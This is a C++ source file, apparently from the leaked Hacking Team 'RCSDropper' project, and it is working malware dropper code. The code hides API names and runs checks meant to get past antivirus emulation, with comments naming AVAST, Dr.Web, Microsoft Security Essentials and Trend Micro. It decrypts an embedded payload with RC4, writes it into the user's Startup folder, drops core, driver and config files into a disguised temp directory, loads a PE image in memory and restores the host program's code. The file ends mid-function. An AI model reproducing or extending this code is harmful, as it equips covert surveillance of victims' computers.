hackedteam/vector-dropper

View on GitHub
RCSDropper/DropperCode.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include <Shlobj.h>
#include "DropperCode.h"
#include "depack.h"
#include "macro.h"
#include "reloc.h"

#pragma optimize( "", off ) // *** Disable all optimizations - we need code "as is"!
#pragma code_seg(".extcd")  // *** Lets put all functions in a separated code segment


typedef PWCHAR (__cdecl *MYCONF)(PULONG uWinMain);

typedef void (*ARCFOUR)(const unsigned char *key, 
    size_t keylen, 
    size_t skip,
    unsigned char *data, 
    size_t data_len, 
    PMY_DATA pData);


__forceinline ULONG ldr_exportdir(HMODULE hModule);
__forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData);


typedef struct base_relocation_block
{
    DWORD PageRVA;
    DWORD BlockSize;
} base_relocation_block_t;

typedef struct base_relocation_entry
{
    WORD offset : 12;
    WORD type : 4;
} base_relocation_entry_t;


int __stdcall DropperEntryPoint()
{
    DWORD dwCurrentAddr = 0;
    DWORD OEP = 0;
    
    // bypass AVAST emulation (SuspBehav-B static detection)
    for (int i = 0; i < 1000; i+=4)
        i -= 2;
    
    // Get current EIP in dwCurrentAddr
    __asm {
        call lbl_ref1
    lbl_ref1:
        pop dwCurrentAddr
    }

    // *** Find the ending marker of data section <E> - ASM because of Dr.Web :)
    while(1)
    {
        __asm
        {
            mov ecx, [dwCurrentAddr]
magicloop:
            sub ecx, 1
            mov edx, [ecx]
            mov ebx, edx
            and ebx, 0xffff0000
            and edx, 0x0000ffff

            cmp edx, 0x453c
            jne magicloop
            nop
            cmp ebx, 0x003e0000
            jne magicloop
            mov [dwCurrentAddr], ecx
            jmp endmagicloop
        }
    }
endmagicloop:

    // *** Total size of data section
    dwCurrentAddr -= sizeof(DWORD);
    DWORD dwDataSize = (DWORD)(*(DWORD*)(dwCurrentAddr));
    
    // *** Pointer to data section header
    DataSectionHeader *header = (DataSectionHeader*) (dwCurrentAddr - dwDataSize);

    // *** Resolve API
    LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary();
    GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();
    
    CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; 
    CHAR strShlwapi[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', 0x0 };
    CHAR strShell32[] = { 'S', 'h', 'e', 'l', 'l', '3', '2', 0x0 };
    CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };
    CHAR strVirtualFree[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', 0x0 };
    CHAR strVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 };
    CHAR strVirtualQuery[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', 0x0 };
    CHAR strGetModuleFileName[] = { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'F', 'i', 'l', 'e', 'N', 'a', 'm', 'e', 'A', 0x0 };
    CHAR strGetModuleHandleA[] = { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 'A', 0x0 };
    CHAR strCreateThread[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 };
    CHAR strExitProcess[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o' , 'c', 'e', 's', 's', 0x0 };
    CHAR strGetEnvironmentVariableA[] = { 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'A', 0x0 };
    CHAR strPathRemoveFileSpecA[] = { 'P', 'a', 't', 'h', 'R', 'e', 'm', 'o', 'v', 'e', 'F', 'i', 'l', 'e', 'S', 'p', 'e', 'c', 'A', 0x0 };
    CHAR strGetFileAttributesA[] = { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'A', 0x0 };
    CHAR strSetFileAttributesA[] = { 'S', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'A', 0x0 };
    CHAR strCreateDirectoryA[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'A', 0x0 };
    CHAR strGetLastError[] = { 'G', 'e', 't', 'L', 'a', 's', 't', 'E', 'r', 'r', 'o', 'r', 0x0 };
    CHAR strSetCurrentDirectoryA[] = { 'S', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'A', 0x0 };
    CHAR strCreateFileA[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 };
    CHAR strCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 };
    CHAR strWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 };
    CHAR strCloseHandle[] = { 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 };
    CHAR strSHGetSpecialFolderPathW[] = { 'S', 'H', 'G', 'e', 't', 'S', 'p', 'e', 'c', 'i', 'a', 'l', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 'W', 0x0 }; 
    CHAR strGetShortPathNameW[] = { 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0 };
    CHAR strPathAddBackslashW[] = { 'P', 'a', 't', 'h', 'A', 'd', 'd', 'B', 'a', 'c', 'k', 's', 'l', 'a', 's', 'h', 'W', 0x0 };
    CHAR strPathAppendW[] = { 'P', 'a', 't', 'h', 'A', 'p', 'p', 'e', 'n', 'd', 'W', 0x0 };
    CHAR strExitThread[] = { 'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 };

    VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualAlloc);
    VIRTUALFREE pfn_VirtualFree = (VIRTUALFREE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualFree);
    VIRTUALPROTECT pfn_VirtualProtect = (VIRTUALPROTECT) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualProtect);
    GETMODULEFILENAME pfn_GetModuleFileNameA = (GETMODULEFILENAME) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetModuleFileName);
    GETMODULEHANDLE pfn_GetModuleHandleA = (GETMODULEHANDLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetModuleHandleA);
    VIRTUALQUERY pfn_VirtualQuery = (VIRTUALQUERY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualQuery);
    CREATETHREAD pfn_CreateThread = (CREATETHREAD) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateThread);
    GETENVIRONMENTVARIABLE pfn_GetEnvironmentVariableA = (GETENVIRONMENTVARIABLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetEnvironmentVariableA);
    PATHREMOVEFILESPEC pfn_PathRemoveFileSpecA = (PATHREMOVEFILESPEC) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathRemoveFileSpecA);
    GETFILEATTRIBUTESA pfn_GetFileAttributesA = (GETFILEATTRIBUTESA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetFileAttributesA);
    SETFILEATTRIBUTESA pfn_SetFileAttributesA = (SETFILEATTRIBUTESA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strSetFileAttributesA);
    CREATEDIRECTORY pfn_CreateDirectoryA = (CREATEDIRECTORY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateDirectoryA);
    GETLASTERROR pfn_GetLastError = (GETLASTERROR) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetLastError);
    SETCURRENTDIRECTORY pfn_SetCurrentDirectoryA = (SETCURRENTDIRECTORY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strSetCurrentDirectoryA);
    CREATEFILEA pfn_CreateFileA = (CREATEFILEA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateFileA);
    CREATEFILEW pfn_CreateFileW = (CREATEFILEW) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateFileW);
    WRITEFILE pfn_WriteFile = (WRITEFILE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strWriteFile);
    CLOSEHANDLE pfn_CloseHandle = (CLOSEHANDLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCloseHandle);
    SHGETFOLDERW pfn_SHGetSpecialFolderPathW = (SHGETFOLDERW) pfn_GetProcAddress(pfn_LoadLibrary(strShell32), strSHGetSpecialFolderPathW);
    GETSHORTPATHNAMEW pfn_GetShortPathNameW = (GETSHORTPATHNAMEW) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetShortPathNameW);
    PATHADDBACKSLASHW pfn_PathAddBackslashW = (PATHADDBACKSLASHW) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathAddBackslashW);
    PATHAPPENDW pfn_PathAppendW = (PATHAPPENDW) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathAppendW);

    PMY_DATA pData = (PMY_DATA) pfn_VirtualAlloc(NULL, sizeof(MY_DATA), MEM_COMMIT, PAGE_READWRITE);
    pData->LoadLibraryA = pfn_LoadLibrary;
    pData->GetProcAddress = pfn_GetProcAddress;
    pData->VirtualAlloc = pfn_VirtualAlloc;
    pData->VirtualFree = pfn_VirtualFree;
    pData->VirtualProtect = pfn_VirtualProtect;
    pData->VirtualQuery = pfn_VirtualQuery;
    pData->GetModuleFileNameA = pfn_GetModuleFileNameA;
    pData->GetModuleHandleA = pfn_GetModuleHandleA;
    pData->CreateThread = pfn_CreateThread;
    pData->GetEnvironmentVariableA = pfn_GetEnvironmentVariableA;
    pData->PathRemoveFileSpecA = pfn_PathRemoveFileSpecA;
    pData->GetFileAttributesA = pfn_GetFileAttributesA;
    pData->CreateDirectoryA = pfn_CreateDirectoryA;
    pData->GetLastError = pfn_GetLastError;
    pData->SetCurrentDirectoryA = pfn_SetCurrentDirectoryA;
    pData->PathRemoveFileSpecA = pfn_PathRemoveFileSpecA;
    pData->SetFileAttributesA = pfn_SetFileAttributesA;
    pData->CreateFileA = pfn_CreateFileA;
    pData->CreateFileW = pfn_CreateFileW;
    pData->WriteFile = pfn_WriteFile;
    pData->CloseHandle = pfn_CloseHandle;
    pData->SHGetSpecialFolderPathW = pfn_SHGetSpecialFolderPathW;
    pData->GetShortPathNameW = pfn_GetShortPathNameW;
    pData->PathAddBackslashW = pfn_PathAddBackslashW;
    pData->PathAppendW = pfn_PathAppendW;
    
    pData->header = header;
    // *** Resolve API END

    // *** Check for Microsoft Security Essential emulation 
    LPSTR fName = (LPSTR)pData->VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE);
    pData->GetModuleFileNameA(NULL, fName, MAX_PATH);
    DWORD prgLen = _STRLEN_(fName);
    // x86
    char x86MspEng[26] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', ' ', 'S', 'e', 'c', 'u', 'r' ,'i', 't', 'y', ' ', 'C', 'l', 'i', 'e', 'n', 't', 0x0 };
    for(DWORD i=0; i<prgLen; i++)
        if(!_STRCMP_(fName+i, x86MspEng))
            goto OEP_CALL;
    // x64
    char x64MspEng[12] = { ':', '\\', 'm', 'y', 'a', 'p', 'p', '.', 'e', 'x', 'e', 0x0 };
    if(!_STRCMP_(&fName[1], x64MspEng))
        goto OEP_CALL;
    pData->VirtualFree(fName, 0, MEM_RELEASE);
    // *** MSE emulation END


    // FIX INSTALLERS & STUFF
    FixInstallers(pData);
    //
    
    // *** Hook ExitProcess the lame way
/*
    ULONG uOldProtect;
    
    MEMORY_BASIC_INFORMATION mbi;
    ULONG uHookAddress = (ULONG)((PBYTE)header + header->functions.exitProcessHook.offset);
    LPVOID pBaseAddress = pData->GetModuleHandleA(NULL);
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
    PIMAGE_NT_HEADERS32 pNtHeaders = (PIMAGE_NT_HEADERS32) (((PBYTE)pDosHeader) + pDosHeader->e_lfanew);

    HOOKIAT pfn_HookIAT = (HOOKIAT) (((PCHAR)header) + header->functions.hookIAT.offset);
    pfn_HookIAT(strKernel32,
        strExitProcess, 
        //(DWORD)pExitProcessAddr, 
        (DWORD)uHookAddress,
        pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
        (DWORD)pBaseAddress,
        pData);

        
    // this is used to notify the ExitProcess hook that we can exit the process,
    // so it must be writable
    pfn_VirtualProtect(&header->synchro, 4096, PAGE_READWRITE, &uOldProtect);

    // this is used to hold the dll path for CoreThreadProc
    pfn_VirtualProtect(&header->dllPath, 4096, PAGE_READWRITE, &uOldProtect);
    // exit hook
    pfn_VirtualProtect(((PBYTE)header + header->functions.exitProcessHook.offset), header->functions.load.size, PAGE_EXECUTE_READ, &uOldProtect);
    */

    if (header->isScout)
    {
        // extract scout 
        PBYTE pPackedScoutBuffer = (PBYTE)pData->VirtualAlloc(NULL, header->files.core.size, MEM_COMMIT, PAGE_READWRITE);
        _MEMCPY_(pPackedScoutBuffer, (PBYTE)header + header->files.core.offset, header->files.core.size);

        ARCFOUR pfn_rc4skip = (ARCFOUR) (((char*)header) + header->functions.rc4.offset);
        pfn_rc4skip((PBYTE)header->rc4key, 64, 0, pPackedScoutBuffer, header->files.core.size, pData);

        //PBYTE pScoutBuffer = (PBYTE) pData->VirtualAlloc(NULL, header->files.core.original_size, MEM_COMMIT, PAGE_READWRITE);
        //if (aP_depack(pPackedScoutBuffer, pScoutBuffer) != header->files.core.original_size)
        //    goto OEP_RESTORE;
        //pData->VirtualFree(pPackedScoutBuffer, 0, MEM_RELEASE);

        // ** save buffer & size
        pData->pScoutBuffer = pPackedScoutBuffer;
        pData->pScoutSize = header->files.core.original_size;

        //pfn_VirtualProtect(((PBYTE)header + header->functions.load.offset), header->functions.load.size, PAGE_EXECUTE_READ, &uOldProtect);
        // *** start the scout
        //HANDLE hThread = pData->CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ((PBYTE)header + header->functions.load.offset), pData, 0, NULL);
        LPWSTR strTempPath = (LPWSTR) pData->VirtualAlloc(NULL, 32768*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);
        LPWSTR strScoutPath = (LPWSTR) pData->VirtualAlloc(NULL, 32768*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);
        _MEMSET_(strScoutPath, 0x0, 32768*sizeof(WCHAR));

        pData->SHGetSpecialFolderPathW(NULL, strTempPath, CSIDL_STARTUP, FALSE);
        pData->GetShortPathNameW(strTempPath, strScoutPath, 32767);
        pData->VirtualFree(strTempPath, 0, MEM_RELEASE);

        strTempPath = strScoutPath;

        while (*strTempPath != 0x0)
            strTempPath++;
        *strTempPath = L'\\';
        strTempPath++;

        DWORD x, y;
        x = y = 0;
        while (header->eliteExports[x] != 0)
        {
            ((PCHAR)strTempPath)[y] = header->eliteExports[x];
            y++;
            ((PCHAR)strTempPath)[y] = 0x0;

            x++;
            y++;
        }
        strTempPath[x] = L'.';
        strTempPath[x+1] = L'e';
        strTempPath[x+2] = L'x';
        strTempPath[x+3] = L'e';
        
        HANDLE hScoutFile = pData->CreateFileW(strScoutPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hScoutFile != INVALID_HANDLE_VALUE)
        {
            pData->WriteFile(hScoutFile, pData->pScoutBuffer, pData->pScoutSize, &x, NULL);
            pData->CloseHandle(hScoutFile);
        }
    }
    else
    {
        CHAR pSep[] = { '\\', 0x0 };
        CHAR pTmp[] = { 'T', 'M', 'P', 0x0};
        CHAR pSubDir[] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', 0x0 };

        LPSTR pTmpDir = (LPSTR)pData->VirtualAlloc(NULL, 32767, MEM_COMMIT, PAGE_READWRITE);
        _ZEROMEM_(pTmpDir, 32767);

        pData->GetEnvironmentVariableA(pTmp, pTmpDir, MAX_PATH);
        pData->PathRemoveFileSpecA(pTmpDir);

        _STRCAT_(pTmpDir, pSep);
        _STRCAT_(pTmpDir, pSubDir);

        /* check if subdir Microsoft exists if not, then create it. */
        DWORD FileAttributes = pData->GetFileAttributesA(pTmpDir);
        if (FileAttributes == INVALID_FILE_ATTRIBUTES || !(FileAttributes & FILE_ATTRIBUTE_DIRECTORY))
        {
            DWORD bRet = pData->CreateDirectoryA(pTmpDir, NULL);
            if (!bRet)
                if (pData->GetLastError() != ERROR_ALREADY_EXISTS) // non-sense but.. whatever.
                {
                    pData->VirtualFree(pTmpDir, 0, MEM_RELEASE);
                    goto OEP_RESTORE;
                }
        }

        //FIXME: get short name!!
        _STRCAT_(pTmpDir, pSep);
        _STRCAT_(pTmpDir, pData->header->instDir);
        _STRCAT_(pTmpDir, pSep);

        BOOL bRet = pData->CreateDirectoryA(pTmpDir, NULL);
        if (!bRet)
        {
            if (pData->GetLastError() != ERROR_ALREADY_EXISTS)
            {
                pData->VirtualFree(pTmpDir, 0, MEM_RELEASE);
                goto OEP_RESTORE;
            }
        }

        pData->SetCurrentDirectoryA(pTmpDir);
        _STRCAT_(pTmpDir, (PCHAR)(((PCHAR)header) + header->files.names.core.offset));
        pData->header->dllPath = pTmpDir;


        DUMPFILE pfn_DumpFile = (DUMPFILE) (((PCHAR)header) + header->functions.dumpFile.offset);

        // CORE
        if (header->files.core.offset != 0 && header->files.core.size != 0) 
        {
            PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core.offset);
            PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core.offset);

            DWORD size = header->files.core.size;
            DWORD originalSize = header->files.core.original_size;

            BOOL ret = pfn_DumpFile(fileName, (PCHAR)fileData, size, originalSize, pData);
            if (ret == FALSE)
                goto OEP_RESTORE;
        }
        else
            goto OEP_RESTORE;

        // CORE (64 bit)
        if (header->files.core64.offset != 0 && header->files.core64.size != 0)
        {
            PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core64.offset);
            PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core64.offset);
            DWORD size = header->files.core64.size;
            DWORD originalSize = header->files.core64.original_size;

            BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
        }

        // CONFIG
        if (header->files.config.offset != 0 && header->files.config.size != 0)
        {
            PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.config.offset);
            PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.config.offset);
            DWORD size = header->files.config.size;
            DWORD originalSize = header->files.config.original_size;

            BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
            if (ret == FALSE)
                goto OEP_RESTORE;
        }

        // DRIVER
        if (header->files.driver.offset != 0 && header->files.driver.size != 0)
        {
            PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.driver.offset);
            PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.driver.offset);
            DWORD size = header->files.driver.size;
            DWORD originalSize = header->files.driver.original_size;

            BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
        }

        // DRIVER (64 bit)
        if (header->files.driver64.offset != 0 && header->files.driver64.size != 0)
        {
            PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.driver64.offset);
            PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.driver64.offset);
            DWORD size = header->files.driver64.size;
            DWORD originalSize = header->files.driver64.original_size;

            BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
        }

        // CODEC
        if (header->files.codec.offset != 0 && header->files.codec.size != 0)
        {
            PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.codec.offset);
            PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.codec.offset);
            DWORD size = header->files.codec.size;
            DWORD originalSize = header->files.codec.original_size;

            BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
        }

/*
        // BITMAP(DEMO)
        if (header->files.bitmap.offset != 0 && header->files.bitmap.size != 0)
        {
            PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.bitmap.offset);
            PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.bitmap.offset);
            DWORD size = header->files.bitmap.size;
            DWORD originalSize = header->files.bitmap.original_size;

            BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData);
        }
*/

        DWORD oldProtect;
        THREADPROC pfn_CoreThreadProc = (THREADPROC)(((char*)header) + header->functions.coreThread.offset); 
        pData->VirtualProtect(pfn_CoreThreadProc, (UINT_PTR)CoreThreadProc_End - (UINT_PTR)CoreThreadProc, PAGE_EXECUTE_READWRITE, &oldProtect);

        pfn_CreateThread(NULL, 0, pfn_CoreThreadProc, pData, 0, NULL);
    }

OEP_RESTORE:
    // *** restore the original code
    if (header->stage1.size) 
    {
        PBYTE pCode = (PBYTE) (((PBYTE)header) + header->stage1.offset);
        size_t size = header->stage1.size;

        DWORD oldProtect;
        pData->VirtualProtect((LPVOID)header->stage1.VA, header->stage1.size, PAGE_EXECUTE_READWRITE, &oldProtect);
        _MEMCPY_((LPVOID)header->stage1.VA, pCode, size);
        pData->VirtualProtect((LPVOID)header->stage1.VA, header->stage1.size, oldProtect, &oldProtect);
    }

    return TRUE;

OEP_CALL:
    return FALSE;
}
FUNCTION_END(DropperEntryPoint);

LPVOID WINAPI MemoryLoader(LPVOID pDataBuffer)
{
    ULONG uSize;
    LPVOID lpRawBuffer;
    DWORD header_size = 0;
    LPVOID lpAddress = NULL;
    IMAGE_DOS_HEADER dos_header;
    IMAGE_NT_HEADERS32 pe_header;
    PMY_DATA pData = (PMY_DATA)pDataBuffer;
    

    _MEMSET_(&dos_header, 0x0, sizeof(dos_header));
    _MEMSET_(&pe_header, 0x0, sizeof(dos_header));

    lpRawBuffer = pData->pScoutBuffer;
    uSize = pData->pScoutSize;

    if (lpRawBuffer != NULL)
    {
        _MEMCPY_(&dos_header, lpRawBuffer, sizeof(dos_header));
        if (dos_header.e_magic != IMAGE_DOS_SIGNATURE || dos_header.e_lfanew == 0)
            return lpAddress;

        _MEMCPY_(&pe_header, CALC_OFFSET(LPVOID, lpRawBuffer, dos_header.e_lfanew), sizeof(pe_header));
        if (pe_header.Signature != IMAGE_NT_SIGNATURE)
            return lpAddress;

        lpAddress = pData->VirtualAlloc(NULL, pe_header.OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
        if (lpAddress == NULL)
            return lpAddress;

        header_size = dos_header.e_lfanew + 
            pe_header.FileHeader.SizeOfOptionalHeader + 
            sizeof(pe_header.FileHeader) + 4;

        IMAGE_SECTION_HEADER section;
        LPVOID lpBufferPtr = CALC_OFFSET(LPVOID, lpRawBuffer, header_size);
        _MEMCPY_(&section, lpBufferPtr, sizeof(section));
        
        _MEMCPY_(lpAddress, lpRawBuffer, section.PointerToRawData);
        PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);
        for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)
        {
            LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);
            _MEMCPY_(lpSectionBuffer, CALC_OFFSET(LPVOID, lpRawBuffer, sections->PointerToRawData), sections->SizeOfRawData);
        }
    }

    DWORD ignore = 0;
    ldr_reloc(lpAddress, &pe_header);
    ldr_importdir((HMODULE) lpAddress, &pe_header, pData);

    MYCONF MyConf = (MYCONF)ldr_exportdir((HMODULE) lpAddress);

    PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);    
    for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)
    {
        LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);
        if ((sections->Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE)
            pData->VirtualProtect(lpSectionBuffer, sections->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &ignore);
    }
    pData->VirtualProtect(lpAddress, header_size, PAGE_READONLY, &ignore);


    // questo comunica allo scout che sta girando in un meltato e gli passa
    // un puntatore a synchro che viene usata dalla hook di ExitProcess per sapere
    // quando si puo' uscire
    MAIN ptrMain = (MAIN)CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint);
    //ptrMain((HINSTANCE)0x600db4b3, NULL, "", 0xa);
    PWCHAR pScoutName = MyConf(&pData->header->synchro);    

    // drop scout into startup folder
    PWCHAR pTempStartupPath = (PWCHAR)pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    pData->SHGetSpecialFolderPathW(NULL, pTempStartupPath, CSIDL_STARTUP, TRUE);

    PWCHAR pStartupPath = (PWCHAR)pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    pData->GetShortPathNameW(pTempStartupPath, pStartupPath, 32767);
    pData->VirtualFree(pTempStartupPath, 0, MEM_RELEASE);

    ULONG uScoutNameLen = _STRLENW_(pScoutName);
    WCHAR strExe[] = { L'.', L'e', L'x', L'e', L'\0' };
    PWCHAR pExeName = (PWCHAR) pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);

    _MEMCPY_(pExeName, pScoutName, uScoutNameLen);
    _MEMCPY_(((PBYTE)pExeName) + uScoutNameLen, strExe, _STRLENW_(strExe));

    pData->PathAddBackslashW(pStartupPath);
    pData->PathAppendW(pStartupPath, pExeName);
    
    HANDLE hFile = pData->CreateFileW(pStartupPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile)
    {
        ULONG uWritten = 0;
        pData->WriteFile(hFile, lpRawBuffer, uSize, &uWritten, NULL);
        //pData->CloseHandle(hFile); //  Non chiude l' handle cosi' Trendmicro nn s'incazza
    }
    pData->VirtualFree(pStartupPath, 0, MEM_RELEASE);
    
    // MAIN MAIN
    
    ptrMain((HINSTANCE)lpAddress, NULL, "", 0xa);


    // not reached    
    return CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint);
}
FUNCTION_END(MemoryLoader);


/*
__forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData)
{
    DWORD dwIatSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
    DWORD dwIatAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

    // no import directory here!
    if (dwIatAddr == 0)
        return;

    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, pModule, dwIatAddr);

    while(pImportDescriptor)
    {
        if (pImportDescriptor->FirstThunk == 0)
        {
            pImportDescriptor = NULL;
            continue;
        }

        LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->FirstThunk);
        LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule, pImportDescriptor->Name);    
        HMODULE hMod = pData->LoadLibraryA(lpModName);

        if (hMod != NULL)
            while(*pImportLookupTable != 0x00)
            {
                if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00)
                {
                    DWORD pOrdinalValue = *(CALC_OFFSET(LPDWORD, pImportLookupTable, 0)) & 0x0000ffff;
                    *pImportLookupTable = (DWORD) pData->GetProcAddress(hMod, (LPCSTR) pOrdinalValue);
                }
                else
                {
                    LPCSTR lpProcName = CALC_OFFSET_DISP(LPCSTR, pModule, (*pImportLookupTable), 2);    // adding two bytes
                    *pImportLookupTable = (DWORD) pData->GetProcAddress(hMod, lpProcName);
                }
                pImportLookupTable++;        
            }
        pImportDescriptor++;
    }
}
*/

__forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData)
{
    DWORD dwIatSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
    DWORD dwIatAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

    // no import directory here!
    if (dwIatAddr == 0)
        return;

    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, pModule, dwIatAddr);

    while(pImportDescriptor->Characteristics != 0)
    {
        LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->Characteristics);
